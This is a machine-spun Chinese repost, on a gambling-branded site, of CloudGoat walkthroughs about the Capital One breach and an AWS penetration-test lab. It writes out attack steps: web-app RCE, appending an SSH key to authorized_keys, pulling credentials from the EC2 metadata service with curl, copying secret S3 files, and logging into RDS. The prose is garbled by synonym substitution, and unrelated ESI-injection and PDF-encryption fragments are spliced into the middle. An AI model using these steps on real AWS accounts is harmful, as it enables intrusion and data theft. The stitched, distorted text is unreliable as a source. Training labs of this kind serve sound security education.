CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

滥用 ESI 详解(上)

在进行安全性评估时,我们注意到了标记语言 Edge Side Includes (ESI)中的一个意外行为,这种语言用于许多流行的 HTTP 代理(反向代理、负载平衡器、缓存服务器、代理服务器)。 我们发现成功的 ESI 攻击可以导致服务器端请求伪造(SSRF)、各种绕过 HTTPOnly cookie 缓解标志的跨站脚本向量(XSS)和服务器端分布式拒绝服务攻击。 我们称这种技术为 ESI 注入。 通过我们的测试,我们发现了十几种流行的可以处理 ESI 的产品: Varnish、 Squid Proxy、 IBM WebSphere、 Oracle fusion / weblog

弁言

云平安,特别是 AWS 平安,再次成为了音讯的核心。 此次是银行业巨子 Capital One 公司的一个严重破绽。 受影响的用户有1亿,是迄今为止最大的数据泄漏事宜之一。 Capital One 如今加入了成为 AWS 和其他云平安平台固有风险受益者的大批公司的行列。

为了让其他人相识 AWS 的平安风险,我们犀牛平安实验室竖立了 CloudGoat。 CloudGoat 是一个“设想破绽”的 AWS 布置东西,为有兴致进修 AWS 平安性的人供应专注、精心策划的高质量进修体验。 每一个场景都是一个自力的进修环境,有明白的目标(或一组目标) ,CloudGoat 能够自力地、平安地启动、重置或封闭每一个场景。 CloudGoat 照样一个很好的能够协助非手艺职员相识 AWS 托管的数据损坏的体式格局和缘由的东西。

在本文中,我们将议论我们对 Capital One 数据泄漏的相识,以及受此数据泄漏事宜启示的新 CloudGoat 场景。

Capital One 的数据泄漏事宜

到现在为止,大多数读者能够已意想到上周表露的影响1亿客户的Capital One 违规事宜。 依据华盛顿西区联邦检察官办公室的说法,关于那些相识该事宜的人,能够浏览下面的扼要概述。

Capital One 数据泄漏事宜回忆

在2019年3月12日至2019年7月17日的某个时候点,一个未经受权的用户接见了存储在 AWS S3存储桶中的属于 Capital One 的数据。 这名未经受权的用户盗取了这些数据,并以他们的实在姓名 Paige Thompson 存储在 GitHub 上。他还在 Slack 频道和 twitter 上揄扬本身运用“erratic(中文译作:飘忽不定)”这个假 ID 盗取了这些数据。

一些之前不为 Capital One 所知的人经由过程在线揄扬或许在 GitHub 上传的体式格局意想到了数据被盗。今后他们给在Capital One担任破绽表露电子邮件地点发送了一封电子邮件。

在意想到这一点后,Capital One 展开了观察,肯定有如许的风险事宜发作,事实上,是一个入侵事宜,并通知了美国联邦观察局。 7月29日凌晨,名为“erratic”的一些人在他们西雅图的家中被捕,现在被关押在 SeaTac 的联邦机构,罪名是“盘算机敲诈和滥用”。

Capital One 数据泄漏事宜中的手艺细节

依据这个仍在发展中的故事的收费文档和媒体渠道中取得的最新信息,我们如今以为数据泄漏是由于 AWS 效劳设置不当,允许效劳器端要求捏造致使的。

收费文件将其分为三个步骤:

1. 进击者运用某种要领获取了一个 IAM 角色的 AWS 密钥,这个角色名为“ * * * *-WAF-Role”(充电文档中编辑了完整的角色称号)。

2. 进击者运用偷来的 AWS 密钥列出该角色能够接见的 S3存储桶。

3. 进击者运用 AWS CLI S3的 “sync”敕令递归地将数据从“ * * * *-WAF-Role”可接见的存储桶复制到其他位置。

在我们的 AWS 渗入测试中,我们常常看到这些范例的毛病设置。

犀牛平安实验室出品的 CloudGoat 东西

致使这类平安破绽的毛病设置常常出如今由犀牛平安实验室的研讨职员举行的 AWS 渗入测试中,以至于在从新宣布 CloudGoat 2的过程当中,它被作为很多场景之一被包括在内。 这个场景名为“ec2_ssrf” ,能够在我们的 GitHub 上找到。

我们在犀牛平安实验室近来宣布了我们的下一代“设想破绽” 的AWS 布置东西,CloudGoat。 这个新版本中最大的变化之一是场景的引入。 作为我们对 CloudGoat 延续支撑的一部份,我们将宣布每一个场景的官方破绽练习训练教程,诠释完成这些场景所需的信息侦探和破绽应用步骤。

本日,我们将宣布一个新的 CloudGoat 场景——“cloud_breach_s3” ,这是受 Capital One 数据泄漏事宜的启示。 这个场景被设想用来从新制造云端数据泄漏发作的前提,就像我们在风险事宜发作的最初几个小时所说的那样。

关于预备 AWS 帐户和设置 CloudGoat 的细致申明,你能够参考我们的 CloudGoat 2声明文章。

CloudGoat 的 “cloud_breach_s3”场景练习训练教程

下面的图表显现了cloud_breach_s3 场景的基础流程。

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

在竖立该场景今后,CloudGoat 会向进击者供应一个作为反向代办的 EC2实例的 IP 地点。 运用自定义主机头,进击者应用代办并向元数据效劳发出要求,以罗列一个 IAM 角色称号,然后再发出另一个要求,以提取 EC2实例的 Access Key ID 和 Secret Access Key。

然后,进击者运用发明的键设置 AWS CLI 设置文件,并将 AWS 会话令牌增加到设置文件中。 今后,进击者就能够列出一个存储桶,然后运用 AWS CLI S3的“ sync”敕令递归地从存储桶中复制数据。

“cloud_breach_s3” VS “ec2_ssrf”

必需指出,现实致使 Capital One 数据泄漏的名叫“erratic”的人所采纳的最初进击步骤我们仍不清晰。 CloudGoat的 “ec2_ssrf” 场景的第一步能够更好地示意了初始步骤。

在最初泄漏后的几个小时内,犀牛平安团队议论了“erratic”能够采纳的进击向量。 由于我们已有了一个基于 EC2 SSRF 的场景,所以我们决议竖立一个场景来示意另一个能够的路由。 依据收费文件,在第一次实行“cloud_breach_s3”今后的一切步骤都是“erratic”所采纳的确实步骤。

云平安瞻望

这能够不会是末了一次由于亚马逊效劳设置不当而致使的严重平安破绽。 为了明白与运用 AWS 和其他云平台相干的风险,公司必需明白同享义务模子。

同享义务模子

“同享义务模子”是 AWS 用来诠释 AWS 和平台用户之间平安义务分别的框架。 这个框架划定 AWS 担任“云的平安性” ,而用户担任“云中的平安性”。

AWS 的职责,或许说“云的平安性” ,包括云平台的基础设施,比方运转在数据中心的硬件。 用户的义务,或许说“云中的平安性” ,包括运转在云基础设施之上的应用顺序的平安性。

人们一般以为云平台是简朴平安的,义务完整在于平台的供应者。 这是一个症结的误会,犀牛平安实验室的研讨职员在渗入测试中一次又一次地看到如许的状况。

须要廓清的是,我们并非在推想 Capital One 误会了同享义务模子。 事实上,Capital One 团队恰是由于他们是云平安的领导者而著名。 我们想说的是,假如像 Capital One 如许一流的团队能够会由于简朴的设置毛病而受益,那末其他任何人都将有相似的能够。 由于这些简朴的设置毛病很轻易犯,所以用户必需正确地明白他们在 AWS 中担任什么。

当涉及到云环境中的平安性时,没有什么灵丹妙药。 云防备须要制造性和战术思维。 明白 AWS 平安性的最好体式格局是运用该平台——没有什么能够替换实践经验。

关于那些方才起步或许没有手艺偏向的人来讲,这多是一个很高的准入门坎。 我们愿望,经由过程供应一个东西,使社区能够应用 AWS 取得实践经验,我们能够协助继承提高云社区的平安认识。

CloudGoat 的“rce_web_app”场景练习训练教程

接下里,我要论述的是运用“Lara”和“ McDuck”进击途径的“ rce_web_app”场景的练习训练教程。 我们最先吧!

初始设置

在继承本练习训练之前,你应当装置以下内容。

· Linux 或 MacOS。官方不支撑 Windows

· 要 bash 4.2 + (Linux 或 OSX,在 OSX上会有些难题)

· 须要 Python 3.6 +

· 装置 Terraform 0.12 并在你的 $PATH 中设置环境变量.

· 装置AWS CLI 并在你的 $PATH中设置环境变量,以及一个具有充足特权竖立和烧毁资本的 AWS 帐户

装置 CloudGoat

能够在我们的 Github 上找到 CloudGoat。 要装置它,你须要运转以下敕令:

 

$ git clone [email protected]:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
$ cd CloudGoat
$ pip3 install -r ./core/python/requirements.txt

竖立 IAM 用户

确保你遵照了最好实践,并运用 IAM 用户设置 CloudGoat。 不要运用 root 用户权限布置 CloudGoat。

你须要导航到 AWS 控制台的 IAM 部份,然后从左边菜单中挑选“ Users” ,然后挑选“ Add User”。 鄙人面的屏幕截图上,输入帐户的用户名并赋予帐户编程接见权限,这将为用户天生密钥。 我们将运用这些密钥在 AWS 敕令行界面中设置设置文件。

下一步是将现有战略直接附加到新用户。 从给定的三个选项中挑选“直接附加现有战略”。 将涌现一个战略列表—— CloudGoat 须要管理权限接见,因而挑选列表顶部的“ AdministrativeAccess”战略。 点击“标签”部份,由于我们不会在本练习训练中运用它。 搜检信息以确保其正确性,然后点击末了的“竖立用户”按钮。 将会显现一个“胜利”的音讯,你的 AWS 密钥将会显现出来。 这是唯一能够检索 AWS 接见密钥和 AWS 隐秘密钥的时候,因而保留它们非常重要。 假如它们丧失了,你将须要天生一组新的密钥。

经由过程运转下面的敕令将 AWS CLI 设置为运用我们适才竖立的密钥并按照提醒实行敕令:

aws configure --profile cloudgoat

接下来,我们须要设置 IP 白名单,以确保没有其他人能够接见这个有意软弱的环境。 运转以下敕令,并在提醒时挑选“ Yes”:

./cloudgoat.py config whitelist --auto

设置 Web 应用顺序场景

设置场景的末了一步是运用我们设置的 AWS CLI 设置文件运转“ create”敕令,并指定要竖立的场景。 虽然能够在 AWS 帐户中竖立多个场景,但必需零丁运转竖立敕令。 运转以下敕令竖立 CloudGoat“ rce_web_app”场景:

./cloudgoat.py create rce_web_app --profile cloudgoat

Lara 进击途径

在这个场景中有两个进击途径,Lara 和 McDuck。 这两条途径从差别的处所最先,但在某一点会聚。 我们将从 Lara 的途径最先,然则你能够跳到这里的最先 McDuck 的途径。

设置 Lara 进击途径

当构建完成时,将显现一些信息以协助你最先。 关于“ rce_web_app”场景,你将取得两组密钥。 运用下面的敕令为给定的密钥竖立 AWS CLI 设置文件:

aws configure --profile Lara

发明易受进击的 Web 应用顺序

怎样攻破PDF加密

为了确保机密性,PDF文件是加密的。通过加密可以在没有其他保护机制的情况下,实现敏感文件的安全传输和存储。 发送者和接收者之间的密钥管理是基于口令或公钥的。如果是基于口令的,那么接收者必须知道发送者所使用的口令,或者口令必须通过安全通道来进行传输。如果是基于公钥的,那么发送者必须知道接收者的X.509证书。 安全问题 研究人员分析发现的pdf安全问题包括: 在没有对应口令的情况下,攻击者可以处理加密的pdf文件。PDF规范说明中允许明文和密文混合使

任何渗入测试的第一步都是弄清晰我们已能够接见的东西——一般是经由过程确认允许。 不幸的是,Lara 没有被受权实行很多一般用来确认权限的挪用。 正由于如此,我们将不得不手动四周查找,以找到 Lara 能够接见的内容。

查找 EC2实例

我们决议经由过程运转以下敕令来查找 Lara 能够接见的 EC2实例:

aws ec2 describe-instances --profile Lara

这个敕令的输出显现 Lara 能够运用大众 IP 接见 EC2实例。 但是,当我们尝试在浏览器中导航到 IP 时,我们会获得一个超时的页面。 我们能够得出结论,这能够值得今后更深切地研讨,然则如今,我们将继承寻觅新的突破口。

寻觅负载均衡器

接下来,我们将经由过程运转以下敕令来检察我们能够接见的任何负载均衡器:

aws elbv2 describe-load-balancers --profile Lara

我们能够在这个敕令的输出中看到一个可公然接见的负载均衡器。 当我们试图在浏览器中导航到它时,驱逐我们的是一条来自“Gold-Star Executive Interstellar Travel Rewards”顺序的音讯,该顺序引用了一个“隐秘” URL。 下面的图片显现了这个上岸页面:

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

发明并列出 S3 存储桶

由于我们对这个 web 应用顺序还无计可施,列出 s3 存储桶是一个很好的下一步。 运转下面的敕令能够显现我们能够列出的存储桶:

aws s3 ls --profile Lara

这个敕令的输出通知我们 Lara 能够列出3个存储桶,如下图所示:CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

经由过程运转以下敕令,我们将能够查找能够列出哪些存储桶以及它们的内容是什么:

aws s3 ls s3://<bucket> --recursive --profile Lara

在个中两个存储桶上运转这个敕令时,我们获得了一条“ Access Denied(谢绝接见)”的音讯,然则我们能够获得一个存储桶的内容列表。 这个存储桶好像包括了我们前面发明的负载均衡器的日记,我们能够下载这些日记来搜检有效的信息。 运转以下敕令将日记文件下载到你的事情目次:

aws s3 cp s3://<bucket>/cg-lb-logs/AWSLogs/793950739751/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log . --profile Lara

在文本编辑器中翻开下载的文件,我们能够看到我们正在检察的是负载均衡器的日记文件,只管实例 ID 差别于我们现在能够接见的负载均衡器。 搜检文件中的有效信息会涌现一个日记条目,显现域名中的 HTML 页面。 下面的图片显现了 HTML 页面的日记条目,这能够很有效:

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

翻开日记中的确实 URL 不会查找到任何东西——页面不会加载。 追念一下我们之前发明的“Gold-Star Executive Interstellar Travel Rewards”顺序网页,这多是“隐秘”网址的一部份。 当我们将发明的 HTML 页面附加到我们前面发明的负载均衡器的 DNSName 或大众 IP 上时,我们会看到下面的网页,它看起来像是尝试一些敕令注入的好挑选:

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

Web 应用顺序的破绽应用

在找到 web 应用顺序后,我们尝试了一些敕令,发明它很轻易遭到长途敕令实行的影响。 然后,我们能够运转以下敕令来检察当前用户是谁:

whoami

令我们愉快(或许恐惊)的是,运转“ whoami”敕令能够发明 web 应用顺序是以 root 身份运转的,因而我们经由过程 RCE 运转的每一个敕令也是以 root 身份运转的。

经由过程运用下面的敕令,我们能够看到应用顺序正在运转的实例的大众 IP:

curl ifconfig.co

返回的 IP 与我们前面发明的 EC2实例雷同。我们 要再次检察该实例,运转以下敕令:

aws ec2 describe-instances --profile Lara

下图是该实例的“ 平安组”条目,显现它是“cg-ec2-ssh-cgid<uniqueID>”组的成员。 这通知我们效劳器极能够启用了 SSH 接见:

增加 SSH 公钥

接下来,我们想看看,假如只是将 SSH 证书增加到受权密钥文件中,会发作什么状况。 为此,我们起首须要天生一些 SSH 密钥。 在当地盘算机上运转以下敕令将天生大众和私有 SSH 密钥:

ssh-keygen

试图以 root 身份运用 SSH 只会显现一条音讯,发起你运用 ubuntu 用户。 因而,我们将经由过程 RCE 运转以下敕令,将适才天生的公钥回显到 ubuntu 用户的受权密钥文件:

echo "<publicKey>" >> /home/ubuntu/.ssh/authorized_keys

如今,我们将扼要地转移重点,以涵盖这个场景中的其他进击途径,即 McDuck。 Lara 和 McDuck 从差别的处所最先,然则他们的途径会聚在一个特定的点上,你能够跳到这里作为最先。

McDuck 的进击途径

竖立 McDuck 的进击途径

本练习训练将运用在布置该场景时天生的 McDuck 密钥。 运转下面的敕令并按照提醒在 AWS CLI 中设置 McDuck 设置文件:

aws configure --profile McDuck

发明 SSH 密钥

我们老是愿望经由过程看到我们能接触到的东西来最先一个渗入测试。 在 Lara 的进击途径中,有几个 S3存储桶被证实是有效的,所以这好像是一个很好的最先。 下面的敕令列出了 McDuck 可用的 S3存储桶:

aws s3 ls --profile McDuck

与 Lara 一样,我们能够列出3个存储桶,然则当我们试图检察“ cg-logs”和“ cg-secret”存储桶的内容时,会获得一条“ Access Denied”的音讯。 运转以下敕令将列出“ cg-keystore”存储桶的内容:

aws s3 ls s3://cg-logs-s3-bucket-cgid<uniqueID> --recursive --profile McDuck

下面的图片中显现了前面敕令的输出,个中显现了“cg-keystore” 存储桶中的 SSH 密钥:

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

下一步是下载这些文件,看看还能找到什么。 在当地盘算机上运转以下敕令,为 cloudgoat.pub 文件和 cloudgoat.pub 文件竖立一个目次,并下载它们以供今后运用:

 

mkdir mcduck && cd mcduck 
aws s3 cp s3://cg-keystore-s3-bucket-cgid<uniqueID>/cloudgoat . --profile McDuck
aws s3 cp s3://cg-keystore-s3-bucket-cgid<uniqueID>/cloudgoat.pub . --profile McDuck

如今我们已看过了 S3存储桶,接下来我们应当看看 EC2。 运转以下敕令检察是不是有任何 EC2实例的 McDuck 能够列出:

aws ec2 describe-instances --profile McDuck

我们能够看到,我们能够列出一个具有大众 IP 的 EC2实例,它是一个组的成员,这表明 SSH 接见是有能够的。 下面的图片显现了实例的“Groups”部份,个中有一个条目为“ cg-ec2-ssh-cgid<uniqueID>”。

末了的进击

如前所述,Lara和McDuck的进击途径从这里最先兼并。 因而,运用你为 Lara 天生的 SSH 私钥或 McDuck 发明的 SSH 私钥,尝试经由过程 SSH 衔接到实例的大众 IP,传入你的私钥文件:

ssh -i <private_key> [email protected]

EC2实例破绽应用

我们如今能够对 EC2实例举行长途 root 接见。 环视一下这台机械,我们对当地接见并不感兴致。 下一步是检察 EC2实例具有哪些接见权限。 为此,我们须要在 EC2实例上装置 AWS CLI,然后反复前面所做的罗列操纵。 运转以下敕令来装置 AWS CLI:

sudo apt-get install awscli

在这类状况下,我们不须要设置相干的设置文件,由于 AWS CLI 将自动运用 EC2 MetaData 效劳供应的密钥。 运转以下敕令将显现 EC2实例能够接见哪些存储桶:

aws s3 ls

我们看到与前面雷同的存储桶,然则此次我们能够接见“ cg-secret-s3”存储桶。 运转以下敕令检察存储桶中包括的内容:

aws s3 ls s3://cg-secret-s3-bucket-cgid<uniqueID> --recursive

将发明的文件复制到 EC2实例上的事情目次文件夹中,并运转以下敕令搜检内容:

aws s3 cp s3://cg-secret-s3-bucket-cgidzay5e3vg5r/db.txt . | cat db.txt

这将输出数据库凭据。 不错! 下一步是找到在那里运用它们。 要检察是不是有 DB 实例在运转,能够实行以下敕令:

aws rds describe-db-instances --region us-east-1

这个敕令的输出如下图所示:

CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示

衔接到数据库

在确认了 RDS 数据库的位置后(它恰巧与我们发明的凭据具有雷同的 MasterUsername 和 DBName) ,我们尝试衔接到数据库。 为此,运转以下敕令:

psql postgresql://cgadmin:[email protected]<rds-instance>:5432/cloudgoat

注重: 存在用于发明 RDS 实例的替换途径。 只需运用 curl 从实例元数据中读取用户数据,就能够显现 RDS 实例位置和凭据:

curl http://169.254.169.254/latest/user-data

如今我们已衔接到了数据库,末了一步是列出表并发明标志。 当衔接到 RDS 实例时,在 psql 中运转以下敕令将列出表、显现标志并完成此场景:

 

\dt
select * from sensitive_information

“超等暗码”是你的 flag,如下图所示。 祝贺你,你如今已完成了 rce_web_app 场景! 这不是一个简朴的场景,进击途径也不简朴。

总结

本练习训练演示了“rce_web_app”场景中的 Lara 和 McDuck 进击途径。 在这两种状况下,递归实行信息侦探,或许在到达新的接见级别时从新搜检你的权限和环境,都邑发生有效的信息,终究就能够找到flag。 遵照 Lara 途径的进击者应用通例的针对 web 应用顺序的渗入测试妙技将本身增加到 SSH“受权密钥”文件中。 一旦衔接到 EC2实例,进击者将从新评价其权限,以发明之前不可接见的 S3 存储桶 中的新信息,或许查询 EC2元数据效劳以发明 RDS 实例。 末了,进击者衔接到 RDS 实例并发明了flag。

这些博客文章的目标是演示 CloudGoat 是怎样事情的,以及它怎样协助渗入测试职员相识毛病设置的 AWS 环境。 我们还愿望它能够协助 AWS 平安工程师和蓝队辨认一些罕见的毛病设置,并协助在临盆环境中构建防备体系。

我们将在后续宣布一切 CloudGoat 场景的官方练习训练,敬请期待!

本文翻译自:https://rhinosecuritylabs.com/aws/cloudgoat-walkthrough-rce_web_app/ https://rhinosecuritylabs.com/aws/capital-one-cloud_breach_s3-cloudgoat/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CloudGoat 官方练习训练教程:Capital One 泄密事宜的启示
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址